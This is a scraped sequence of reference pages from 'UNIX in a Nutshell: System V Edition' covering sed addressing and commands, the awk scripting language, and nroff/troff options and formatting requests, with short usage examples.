A sed command can specify zero, one, or two addresses. An address can be a line number, the symbol $ (for last line), or a regular expression enclosed in slashes (/pattern/). Regular expressions are described in Section 6. Additionally, \n can be used to match any newline in the pattern space (resulting from the N command), but not the newline at the end of the pattern space.

If the command specifies: | Then the command is applied to:
No address | Each input line
One address | Any line matching the address. Some commands accept only one address: a, i, r, q, and =.
Two comma-separated addresses | First matching line and all succeeding lines up to and including a line matching the second address.
An address followed by ! | All lines that do not match the address.

10.3.2 Examples

s/xx/yy/g | Substitute on all lines (all occurrences).
/BSD/d | Delete lines containing BSD.
/^BEGIN/,/^END/p | Print between BEGIN and END, inclusive.
/SAVE/!d | Delete any line that doesn't contain SAVE.
/BEGIN/,/END/!s/xx/yy/g | Substitute on all lines, except between BEGIN and END.

Braces ({}) are used in sed to nest one address inside another or to apply multiple commands at the same address.

[/pattern/][,/pattern/]{
command1
command2
}

The opening curly brace must end a line, and the closing curly brace must be on a line by itself. Be sure there are no blank spaces after the braces.

Previous: 10.2 Conceptual Overview | UNIX in a Nutshell: System V Edition | Next: 10.4 Group Summary of Sed Commands
10.2 Conceptual Overview | Book Index | 10.4 Group Summary of Sed Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.4 Group Summary of Sed Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 10.3 Syntax of Sed Commands Chapter 10
The Sed Editor 		Next: 10.5 Alphabetical Summary of Sed Commands

10.4 Group Summary of Sed Commands

In the lists below, the sed commands are grouped by function and are described tersely. Full descriptions, including syntax and examples, can be found afterward in the alphabetical summary.

10.4.1 Basic Editing

a\ | Append text after a line.
c\ | Replace text (usually a text block).
i\ | Insert text after a line.
d | Delete lines.
s | Make substitutions.
y | Translate characters (like a UNIX tr).

10.4.2 Line Information

= | Display line number of a line.
l | Display control characters in ASCII.
p | Display the line.

10.4.3 Input/Output Processing

n | Skip current line and go to line below.
r | Read another file's contents into the input.
w | Write input lines to another file.
q | Quit the sed script (no further output).

10.4.4 Yanking and Putting

h | Copy into hold space; wipe out what's there.
H | Copy into hold space; append to what's there.
g | Get the hold space back; wipe out the destination line.
G | Get the hold space back; append on line below.
x | Exchange contents of hold space and pattern space.

10.4.5 Branching Commands

b | Branch to label or to end of script.
t | Same as b, but branch only after substitution.
:label | Label branched to by t or b.

10.4.6 Multi-line Input Processing

N | Read another line of input (creates embedded newline).
D | Delete up to the embedded newline.
P | Print up to the embedded newline.

Previous: 10.3 Syntax of Sed Commands | UNIX in a Nutshell: System V Edition | Next: 10.5 Alphabetical Summary of Sed Commands
10.3 Syntax of Sed Commands | Book Index | 10.5 Alphabetical Summary of Sed Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.5 Alphabetical Summary of Sed Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 10.4 Group Summary of Sed Commands Chapter 10
The Sed Editor 		Next: 11. The Awk Scripting Language

10.5 Alphabetical Summary of Sed Commands

  • #
  • :
  • =
  • a
  • b
  • c
  • d
  • D
  • g
  • G
  • h
  • H
  • i
  • l
  • n
  • N
  • p
  • P
  • q
  • r
  • s
  • t
  • w
  • x
  • y

Previous: 10.4 Group Summary of Sed Commands | UNIX in a Nutshell: System V Edition | Next: 11. The Awk Scripting Language
10.4 Group Summary of Sed Commands | Book Index | 11. The Awk Scripting Language
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] The Awk Scripting Language

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 10.5 Alphabetical Summary of Sed Commands Chapter 11 Next: 11.2 Conceptual Overview

11. The Awk Scripting Language

Contents:
Command-line Syntax
Conceptual Overview
Patterns and Procedures
Awk System Variables
Operators
Variables and Array Assignments
Group Listing of Awk Commands
Alphabetical Summary of Commands

This section presents the following topics:

  • Command-line syntax

  • Conceptual overview

  • Patterns and procedures

  • System variables

  • Operators

  • Variable and array assignment

  • Group listing of commands

  • Alphabetical summary of commands

For more information, see the Nutshell Handbook sed & awk.

11.1 Command-line Syntax

The syntax for invoking awk has two forms:

awk [options] 'script' var=value file(s)

awk [options] -f scriptfile var=value file(s)

You can specify a script directly on the command line, or you can store a script in a scriptfile and specify it with -f. Variables can be assigned a value on the command line. The value can be a literal, a shell variable ($name), or a command substitution (`cmd`), but the value is available only after a line of input is read (i.e., after the BEGIN statement). Awk operates on one or more files. If none is specified (or if - is specified), awk reads from the standard input.

The recognized options are:

-Fc

Set the field separator to character c. This is the same as setting the system variable FS. Nawk allows c to be a regular expression. Each input line, or record, is divided into fields by white space (blanks or tabs) or by some other user-definable record separator. Fields are referred to by the variables $1, $2,..., $n. $0 refers to the entire record.

-v var=value

Assign a value to variable var. This allows assignment before the script begins execution. (Available in nawk only.)

For example, to print the first three (colon-separated) fields on a separate line:

awk -F: '{print $1; print $2; print $3}' /etc/passwd

Numerous examples are shown later in this section under "Patterns and Procedures."

Previous: 10.5 Alphabetical Summary of Sed Commands | UNIX in a Nutshell: System V Edition | Next: 11.2 Conceptual Overview
10.5 Alphabetical Summary of Sed Commands | Book Index | 11.2 Conceptual Overview
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.2 Conceptual Overview

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.1 Command-line Syntax Chapter 11
The Awk Scripting Language 		Next: 11.3 Patterns and Procedures

11.2 Conceptual Overview

Awk is a pattern-matching program for processing files, especially when they are databases. The new version of awk, called nawk, provides additional capabilities and is now the standard in SVR4. Awk is still available under the same name (it is really just a link to the command oawk). In the next major release of System V, nawk will become the default. (The Free Software Foundation has a version of awk called gawk. All features in nawk are available in gawk.)

With original awk, you can:

  • Think of a text file as made up of records and fields in a textual database.

  • Use variables to change the database.

  • Perform arithmetic and string operations.

  • Use programming constructs such as loops and conditionals.

  • Produce formatted reports.

With nawk, you can also:

  • Define your own functions.

  • Execute UNIX commands from a script.

  • Process the result of UNIX commands.

  • Process command-line arguments more gracefully.

  • Work more easily with multiple input streams.

Previous: 11.1 Command-line Syntax | UNIX in a Nutshell: System V Edition | Next: 11.3 Patterns and Procedures
11.1 Command-line Syntax | Book Index | 11.3 Patterns and Procedures
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.3 Patterns and Procedures

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.2 Conceptual Overview Chapter 11
The Awk Scripting Language 		Next: 11.4 Awk System Variables

11.3 Patterns and Procedures

Awk scripts consist of patterns and procedures:

pattern {procedure}

Both are optional. If pattern is missing, {procedure} is applied to all lines. If {procedure} is missing, the matched line is printed.

11.3.1 Patterns

A pattern can be any of the following:

/regular expression/

relational expression

pattern-matching expression

BEGIN

END

  • Expressions can be composed of quoted strings, numbers, operators, functions, defined variables, or any of the predefined variables described later under "Awk System Variables".

  • Regular expressions use the extended set of metacharacters and are described in Section 6.

  • In addition, ^ and $ can be used to refer to the beginning and end of a field, respectively, rather than the beginning and end of a line.

  • Relational expressions use the relational operators listed under "Operators" later in this section. Comparisons can be either string or numeric. For example, $2 > $1 selects lines for which the second field is greater than the first.

  • Pattern-matching expressions use the operators ~ (match) and !~ (don't match). See "Operators" later in this section.

  • The BEGIN pattern lets you specify procedures that will take place before the first input line is processed. (Generally, you set global variables here.)

  • The END pattern lets you specify procedures that will take place after the last input record is read.

Except for BEGIN and END, patterns can be combined with the Boolean operators || (or), && (and), and ! (not). A range of lines can also be specified using comma-separated patterns:

pattern,pattern

11.3.2 Procedures

Procedures consist of one or more commands, functions, or variable assignments, separated by newlines or semicolons, and contained within curly braces. Commands fall into four groups:

  • Variable or array assignments

  • Printing commands

  • Built-in functions

  • Control-flow commands

11.3.3 Simple Pattern-Procedure Examples

  1. Print first field of each line:

    { print $1 }

  2. Print all lines that contain pattern:

    /pattern/

  3. Print first field of lines that contain pattern:

    /pattern/{ print $1 }

  4. Select records containing more than two fields:

    NF > 2

  5. Interpret input records as a group of lines up to a blank line:

    BEGIN { FS = "\n"; RS = "" }

  6. Print fields 2 and 3 in switched order, but only on lines whose first field matches the string "URGENT":

    $1 ~ /URGENT/ { print $3, $2 }

  7. Count and print the number of pattern found:

    /pattern/ { ++x }
END { print x }

  8. Add numbers in second column and print total:

    {total += $2 };
END { print "column total is", total}

  9. Print lines that contain less than 20 characters:

    length < 20

  10. Print each line that begins with Name: and that contains exactly seven fields:

    NF == 7 && /^Name:/

  11. Reverse the order of fields:

    { for (i = NF; i >= 1; i-) print $i }

Previous: 11.2 Conceptual Overview | UNIX in a Nutshell: System V Edition | Next: 11.4 Awk System Variables
11.2 Conceptual Overview | Book Index | 11.4 Awk System Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.4 Awk System Variables

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.3 Patterns and Procedures Chapter 11
The Awk Scripting Language 		Next: 11.5 Operators

11.4 Awk System Variables

Version | Variable | Description
awk | FILENAME | Current filename.
 | FS | Field separator (default is a blank).
 | NF | Number of fields in current record.
 | NR | Number of the current record.
 | OFS | Output field separator (default is a blank).
 | ORS | Output record separator (default is a newline).
 | RS | Record separator (default is a newline).
 | $0 | Entire input record.
 | $n | nth field in current record; fields are separated by FS.
nawk | ARGC | Number of arguments on command line.
 | ARGV | An array containing the command-line arguments.
 | FNR | Like NR, but relative to the current file.
 | OFMT | Output format for numbers (default is %.6g).
 | RSTART | First position in the string matched by match function.
 | RLENGTH | Length of the string matched by match function.
 | SUBSEP | Separator character for array subscripts (default is \034).
gawk | ENVIRON | An associative array of environment variables.
 | IGNORECASE | An associative array of environment variables.

Previous: 11.3 Patterns and Procedures | UNIX in a Nutshell: System V Edition | Next: 11.5 Operators
11.3 Patterns and Procedures | Book Index | 11.5 Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.5 Operators

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.4 Awk System Variables Chapter 11
The Awk Scripting Language 		Next: 11.6 Variables and Array Assignments

11.5 Operators

The table below lists the operators, in order of increasing precedence, that are available in awk.

Symbol | Meaning
= =+ -= *= /= %= ^= | Assignment.
?: | C conditional expression (nawk and gawk).
|| | Logical OR.
&& | Logical AND.
~ !~ | Match regular expression and negation.
< <= > >= != == | Relational operators.
(blank) | Concatenation.
+ - | Addition, subtraction.
* / % | Multiplication, division, and modulus.
+ - ! | Unary plus and minus, and logical negation.
^ | Exponentiation.
++ -- | Increment and decrement, either prefix or postfix.
$ | Field reference.

Previous: 11.4 Awk System Variables | UNIX in a Nutshell: System V Edition | Next: 11.6 Variables and Array Assignments
11.4 Awk System Variables | Book Index | 11.6 Variables and Array Assignments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.6 Variables and Array Assignments

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.5 Operators Chapter 11
The Awk Scripting Language 		Next: 11.7 Group Listing of Awk Commands

11.6 Variables and Array Assignments

Variables can be assigned a value with an = sign. For example:

FS = ","

Expressions using the operators +, -, /, and % (modulo) can be assigned to variables.

Arrays can be created with the split function (see below), or they can simply be named in an assignment statement. ++, +=, and -= are used to increment or decrement an array, as in the C language. Array elements can be subscripted with numbers (array[1], ..., array[n]) or with names. For example, to count the number of occurrences of a pattern, you could use the following script:

/pattern/ { array["/pattern/"]++ }
END { print array["/pattern/"] }

Previous: 11.5 Operators | UNIX in a Nutshell: System V Edition | Next: 11.7 Group Listing of Awk Commands
11.5 Operators | Book Index | 11.7 Group Listing of Awk Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.7 Group Listing of Awk Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.6 Variables and Array Assignments Chapter 11
The Awk Scripting Language 		Next: 11.8 Alphabetical Summary of Commands

11.7 Group Listing of Awk Commands

Awk commands may be classified as follows:

Arithmetic Functions | String Functions | Control Flow Statements | Input/Output Processing | Miscellaneous
atan2* | gsub* | break | close* | delete*
cos | index | continue | getline* | function*
exp | length | do/while* | next* | system*
int | match* | exit | print |
log | split | for | printf |
rand* | sub* | if | sprintf |
sin | substr | return* |  |
sqrt | tolower [dagger] | while |  |
srand* | toupper [dagger] |  |  |

* Available in nawk [dagger] Available in gawk

Previous: 11.6 Variables and Array Assignments | UNIX in a Nutshell: System V Edition | Next: 11.8 Alphabetical Summary of Commands
11.6 Variables and Array Assignments | Book Index | 11.8 Alphabetical Summary of Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.8 Alphabetical Summary of Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.7 Group Listing of Awk Commands Chapter 11
The Awk Scripting Language 		Next: 12. Nroff and Troff

11.8 Alphabetical Summary of Commands

The following alphabetical list of statements and functions includes all that are available in awk, nawk, or gawk. Nawk includes all old awk commands, plus some additional commands (marked as {N}). Gawk includes all nawk commands, plus some additional commands (marked as {G}). Commands that aren't marked with a symbol are available in all versions.

  • atan2
  • break
  • close
  • continue
  • cos
  • delete
  • do
  • exit
  • exp
  • for
  • for
  • function
  • getline
  • gsub
  • if
  • index
  • int
  • length
  • log
  • match
  • next
  • print
  • printf
  • rand
  • return
  • sin
  • split
  • sprintf
  • sqrt
  • srand
  • sub
  • substr
  • system
  • tolower
  • toupper
  • while

Previous: 11.7 Group Listing of Awk Commands | UNIX in a Nutshell: System V Edition | Next: 12. Nroff and Troff
11.7 Group Listing of Awk Commands | Book Index | 12. Nroff and Troff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] Nroff and Troff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.8 Alphabetical Summary of Commands Chapter 12 Next: 12.2 Command-line Invocation

12. Nroff and Troff

Contents:
Introduction
Command-line Invocation
Using the Requests: An Overview
Default Operation of Requests
Group Summary of Requests
Alphabetical Summary of Requests
Escape Sequences
Predefined Number Registers
Special Characters

This section presents the following topics:

  • Introduction

  • Command-line invocation

  • Using the requests: an overview

  • Default operation of requests

  • Group summary of requests

  • Alphabetical summary of requests

  • Escape sequences

  • Predefined number registers

  • Special characters

12.1 Introduction

Nroff and troff are UNIX programs for formatting text files. Nroff is designed to format output for line printers and letter-quality printers; you can also display the output on your screen. Troff is designed for typesetting. Except for some functions that are specific to typesetting, the same commands work for both programs.

Nroff and troff are not part of standard SVR4 but are included in the compatibility packages. It is this version that is documented here. Note, however, that some UNIX distributors include a vendor-specific version of nroff/troff. Various enhanced packages are also available, such as sqtroff from SoftQuad or groff from the Free Software Foundation. These packages might include additional requests or escape sequences. For completely accurate information, we recommend that you consult the text processing manuals that come with your specific UNIX implementation.

In addition, we make references to ditroff, or device-independent troff, which is a later version of troff. For the most part, ditroff works the same as troff; where there are distinctions, the original troff is referred to as otroff.

Previous: 11.8 Alphabetical Summary of Commands | UNIX in a Nutshell: System V Edition | Next: 12.2 Command-line Invocation
11.8 Alphabetical Summary of Commands | Book Index | 12.2 Command-line Invocation
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.2 Command-line Invocation

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.1 Introduction Chapter 12
Nroff and Troff 		Next: 12.3 Using the Requests: An Overview

12.2 Command-line Invocation

Nroff and troff are invoked from the command line as follows:

/usr/ucb/nroff [options] [files]

/usr/ucb/troff [options] [files]

Many of the options are the same for both formatters.

Nroff/troff options

-Fdir

Search for font tables in directory dir.

-i

Read standard input after files are processed.

-mname

Prepend a macro file to input files. Troff prepends /usr/lib/tmac/tmac.name. Nroff prepends /usr/share/lib/tmac/tmac.name.

-nN

First output page has page number N.

-olist

Print pages contained only in the comma-separated list. Page ranges can be specified as n-m, -m (first page through m), or n- (n through end of file).

-raN

Set register a to N.

-sN

Stop every n pages. This allows changing of a paper cassette. Resume by pressing RETURN (in nroff) or by pressing the start button on the typesetter (in troff).

-Tname

Prepare output designed for printer or typesetter name. For device names, see your specific documentation or a local expert.

-uN

The font in position 3 is overstruck N times. Typically used to adjust the weight of the bold font.

-z

Discard output except messages generated by .tm request.

Nroff-only options

-e

When justifying output lines, space words equally (using terminal resolution instead of full space increments).

-h

Hasten output by replacing 8 horizontal spaces with a tab.

-q

Invoke simultaneous input/output of .rd requests.

Troff-only options

-a

Format a printable ASCII approximation. Useful for finding page counts without producing printed output.

-f

Don't stop typesetter when formatting is done.

Examples

Run chap1 through the tbl preprocessor, then format the result using the mm macros, with register N set to 5 (sets the page-numbering style), etc.:

tbl chap1 | troff -mm -rN5 | spooler &

Format chap2 using the ms macros; the first page is 7, but print only pages 8-10, 15, and 18 through the end of the file:

nroff -ms -n7 -o8-10,15,18- chap2 &

Previous: 12.1 Introduction | UNIX in a Nutshell: System V Edition | Next: 12.3 Using the Requests: An Overview
12.1 Introduction | Book Index | 12.3 Using the Requests: An Overview
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.3 Using the Requests: An Overview

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.2 Command-line Invocation Chapter 12
Nroff and Troff 		Next: 12.4 Default Operation of Requests

12.3 Using the Requests: An Overview

Formatting is specified by embedding brief codes into the text source file. These codes act as directives to nroff and troff when they are invoked. For example, to center a line of text, type the following code in a file:

 .ce
This text should be centered.

When formatted, the output appears centered:

 .ce
This text should be centered.

There are two types of formatting codes:

  • Requests, which provide the most elementary instructions, and

  • Macros, which are predefined combinations of requests.

Requests, also known as primitives, allow direct control of almost any feature of page layout and formatting. Macros combine requests to create a total effect. In a sense, requests are like atoms, and macros are like molecules.

See Sections 13, 14, and 15 for more information on macros.

12.3.1 Common Requests

The most commonly used requests are:

 .ad   .ds   .ll   .nr   .sp
 .br   .fi   .na   .po   .ta
 .bp   .ft   .ne   .ps   .ti
 .ce   .in   .nf   .so   .vs
 .de   .ls

For example, a simple macro could be written as follows:

.ta 1.2i
.	\" Ps macro - show literal text display
.de Ps	\" Define a macro named "Ps"
.sp .5	\" Space down half a line
.in 1i	\" Indent one inch
.ta 10n +10n	\" Set new tabstops
.ps 8	\" Use 8-point type
.vs 10	\" Use 10-point vertical spacing
.ft CW	\" Use constant width font
.br		\" Break line (.ne begins count on next line)
.ne 3	\" Keep 3 lines together
.nf	\" No-fill mode (output lines as is)
..	\" End macro definition

12.3.2 Specifying Measurements

With some requests, the numeric argument can be followed by a scale indicator that specifies a unit of measurement. The valid indicators and their meanings are listed below. Note that all measurements are internally converted to basic units (this conversion is shown in the last column). A basic unit is the smallest possible size on the printer device. The device resolution (e.g., 300 dots per inch), determines the size of a basic unit. In the following table, T specifies the current point size and R specifies the device resolution.

Scale | Meaning | Equivalent | Number of
Indicator |  | Unit | Basic Units
c | Centimeter | 2.54 inches | R / 2.54
i | Inch | 6 picas or 72 points | R
m | Em | T points | R × T / 72
n | En | 0.5 em | R × T / 144
p | Point | 1/72 inch | R / 72
P | Pica | 1/6 inch | R / 6
u | Basic unit |  | 1
v | Vertical line space |  | (Current value in basic units)
None | Default |  |

You can specify a scale indicator for any of the requests below, except for .ps, which always uses points. If no unit is given, the default unit is used. (The second column lists the scale indicators as described in the previous table.) For horizontally oriented requests, the default unit is ems. For vertically oriented requests, the default is usually vertical lines.

Request | Default | Request | Default
 | Scale |  | Scale
.ch | v | .pl | v
.dt | v | .po | v
.ie | u | .ps | p
.if | u | .rt | v
.in | m | .sp | v
.ll | m | .sv | v
.lt | m | .ta | m
.mc | m | .ti | m
.ne | v | .vs | p
.nr | u | .wh | v

12.3.3 Requests That Cause a Line Break

Most requests can be interspersed with text without causing a line break in the output. The following requests cause a break:

.bp   .ce   .fi   .in   .sp
.br   .cf   .fl   .nf   .ti

If you need to prevent these requests from causing a break, begin them with the "no break" character (normally ') instead of a dot (.). For example, .sp takes effect right away, but 'sp waits until the output line is completely filled. Only then does it add a line space.

Previous: 12.2 Command-line Invocation | UNIX in a Nutshell: System V Edition | Next: 12.4 Default Operation of Requests
12.2 Command-line Invocation | Book Index | 12.4 Default Operation of Requests
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.4 Default Operation of Requests

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.3 Using the Requests: An Overview Chapter 12
Nroff and Troff 		Next: 12.5 Group Summary of Requests

12.4 Default Operation of Requests

Nroff/troff initializes the formatting environment. For example, unless you reset the line length, nroff/troff uses 6.5 inches. Most requests can change the default environment, and those that can are listed in the table below. The second column lists the initial or default value in effect before the request is used. If no initial value applies, a hyphen (-) is used. The third column shows the effect if a request's optional argument is not used. Here, a hyphen is used if the request doesn't accept an argument or if the argument is required.

Request | Initial | If No | Description
 | Value | Argument |
.ad | Justify | Previous adjust | Adjust margins.
.af | Lowercase arabic | - | Assign a format to a register.
.am | - | End call with .. | Append to a macro.
.bd | Off | - | Embolden font.
.c2 | ; | ; | Set no-break control character.
.cc | . | . | Set control character.
.ce | Off | Center one line | Center lines.
.ch | - | Turn off trap | Change trap position.
.cs | Off | - | Set constant-width spacing.
.cu | 0 | 1 line | Continuous underline/italicize.
.da | - | End the diversion | Divert text and append to a macro.
.de | - | End macro with .. | Define a macro.
.di | - | End the diversion | Divert text to a macro.
.dt | - | Turn off trap | Set a diversion trap.
.ec | \ | \ | Set escape character.
.eo | On | - | Turn off escape character.
.ev | 0 | Prev. environment | Change environment.
.fc | Off | Off | Set field delimiter and pad character.
.fi | Fill | - | Fill lines.
.fp | 1 = R | - | Mount font (on positions 1-4).
 | 2 = I |  |
 | 3 = B |  |
 | 4 = S |  |
.ft | Roman | Previous font | Set font.
.hc | \% | \% | Set hyphenation character.
.hy | Mode 1 | Previous mode | Set hyphenation mode.
.ig | - | End with .. | Suppress (ignore) text in output.
.in | 0 | Previous indent | Indent.
.it | - | Turn off trap | Set a trap for input line counting.
.lc | . | None | Set leader character.
.lg | On | On | Ligature mode.
.ll | 6.5" | Prev. line length | Set line length.
.ls | Single-space | Previous mode | Set line spacing.
.lt | 6.5" | Prev. title length | Set length of title.
.mc | - | Turn off | Set the margin character.
.mk | - | Internal | Mark vertical position.
.na | Adjust | - | Don't adjust margins.
.ne | - | One vertical line | Keep lines on same page if there's room.
.nf | Fill | - | Don't fill lines.
.nh | On | - | Turn of hyphenation.
.nm | Off | Off | Line-numbering mode.
.nn | - | Number one line | Don't number lines.
.ns | Space mode | - | Enable no-space mode.
.nx | - | End of file | Go to a file.
.pc | % | Off | Set page character.
.pl | 11" | 11" | Set page length.
.pn | Page 1 | - | Set page number.
.po | 0 (nroff) | Previous offset | Change page offset.
 | 26/27" (troff) |  |
.ps | 10 | Prev. point size | Set point size.
.rd | - | Ring bell | Read from the terminal.
.rt | - | Internal | Return to marked vertical place.
.sp | - | One vertical line | Output blank spacing.
.ss | 12/36 em | - | Set character spacing.
.sv | - | One vertical line | Save (store) spacing.
.ta | .5" (troff) | - | Define tab settings.
 | 8 em (nroff) |  |
.ti | 0 | - | Indent next line.
.tm | - | Newline | Print a message, then continue.
.uf | Italic | Italic | Set font for underlining.
.ul | 0 | 1 line | Underline/italicize.
.vs | 1/6" (nroff) | Previous value | Set vertical spacing for lines.
 | 12 pts (troff) |  |

Previous: 12.3 Using the Requests: An Overview | UNIX in a Nutshell: System V Edition | Next: 12.5 Group Summary of Requests
12.3 Using the Requests: An Overview | Book Index | 12.5 Group Summary of Requests
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.5 Group Summary of Requests

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.4 Default Operation of Requests Chapter 12
Nroff and Troff 		Next: 12.6 Alphabetical Summary of Requests

12.5 Group Summary of Requests

As an aid to finding the right request for a particular task, the 84 nroff/troff requests are listed below by subject:

12.5.1 Character Output

.cu | Continuous underline/italicize.
.lg | Ligature mode.
.tr | Translate characters.
.uf | Set font for underlining.
.ul | Underline/italicize.

12.5.2 Conditional Processing

.el | Else portion of if-else.
.ie | If portion of if-else.
.if | If statement.

12.5.3 Customizing Troff/Nroff Requests

.c2 | Set no-break control character.
.cc | Set control character.
.ec | Set escape character.
.eo | Turn off escape character.
.hc | Set hyphenation character.
.pc | Set page character.

12.5.4 Diagnostic Output

.ab | Print a message, then abort.
.fl | Flush output buffer.
.ig | Suppress (ignore) text in output.
.mc | Set the margin character.
.pm | Print name and size of macros.
.tm | Print a message, then continue.

12.5.5 Font and Character Size

.bd | Embolden font.
.cs | Set constant-width spacing.
.fp | Mount font (on positions 1-4).
.ft | Set font.
.ps | Set point size.
.ss | Set character spacing.

12.5.6 Horizontal Positioning

.in | Indent.
.ll | Set line length.
.lt | Set length of title.
.po | Change page offset.
.ti | Indent next line.
.tl | Specify three-part title.

12.5.7 Hyphenation

.hw | Set hard-coded hyphenation.
.hy | Set hyphenation mode.
.nh | Turn of hyphenation.

12.5.8 Input/Output Switching

.cf | Copy raw file to output.
.ex | Exit from nroff/troff.
.nx | Go to a file.
.pi | Pipe output to a UNIX command.
.rd | Read from the terminal.
.so | Go to a file, then return.
.sy | Execute a UNIX command.

12.5.9 Line Numbering

.nm | Line-numbering mode.
.nn | Don't number lines.

12.5.10 Macro and String Processing

.am | Append to a macro.
.as | Append to a string.
.ch | Change trap position.
.da | Divert text; append to a macro.
.de | Define a macro.
.di | Divert text to a macro.
.ds | Define a string.
.dt | Set a diversion trap.
.em | Set the ending macro.
.ev | Change environment.
.it | Set trap for input line counting.
.rm | Remove macro, request, or string.
.rn | Rename macro, request, or string.
.wh | Set a page trap.

12.5.11 Number Registers

.af | Assign a format to a register.
.nr | Define a number register.
.rr | Remove a number register.

12.5.12 Pagination

.bp | Begin a new page.
.mk | Mark vertical position.
.ne | Keep lines on same page if there's room.
.pl | Set page length.
.pn | Set page number.
.rt | Return to marked vertical place.

12.5.13 Tabs

.fc | Set a field delimiter and a pad character.
.lc | Set leader character.
.ta | Define tab settings.
.tc | Set tab character.

12.5.14 Text Adjustments

.ad | Adjust margins.
.br | Break the output line.
.ce | Center lines.
.fi | Fill lines.
.na | Don't adjust margins.
.nf | Don't fill lines.

12.5.15 Vertical Spacing

.ls | Line spacing (e.g., single-spaced).
.ns | Enable no-space mode.
.os | Output vertical space from .sv.
.rs | Restore spacing mode.
.sp | Output blank spacing.
.sv | Save (store) spacing.
.vs | Set vertical spacing for lines.

Previous: 12.4 Default Operation of Requests | UNIX in a Nutshell: System V Edition | Next: 12.6 Alphabetical Summary of Requests
12.4 Default Operation of Requests | Book Index | 12.6 Alphabetical Summary of Requests
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.6 Alphabetical Summary of Requests

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.5 Group Summary of Requests Chapter 12
Nroff and Troff 		Next: 12.7 Escape Sequences

12.6 Alphabetical Summary of Requests

  • .ab
  • .ad
  • .af
  • .am
  • .as
  • .bd
  • .bp
  • .br
  • .c2
  • .cc
  • .ce
  • .cf
  • .ch
  • .cs
  • .cu
  • .da
  • .de
  • .di
  • .ds
  • .dt
  • .ec
  • .el
  • .em
  • .eo
  • .ev
  • .ex
  • .fc
  • .fi
  • .fl
  • .fp
  • .ft
  • .hc
  • .hw
  • .hy
  • .ie
  • .if
  • .ig
  • .in
  • .it
  • .lc
  • .lg
  • .ll
  • .ls
  • .lt
  • .mc
  • .mk
  • .na
  • .ne
  • .nf
  • .nh
  • .nm
  • .nn
  • .nr
  • .ns
  • .nx
  • .os
  • .pc
  • .pi
  • .pl
  • .pm
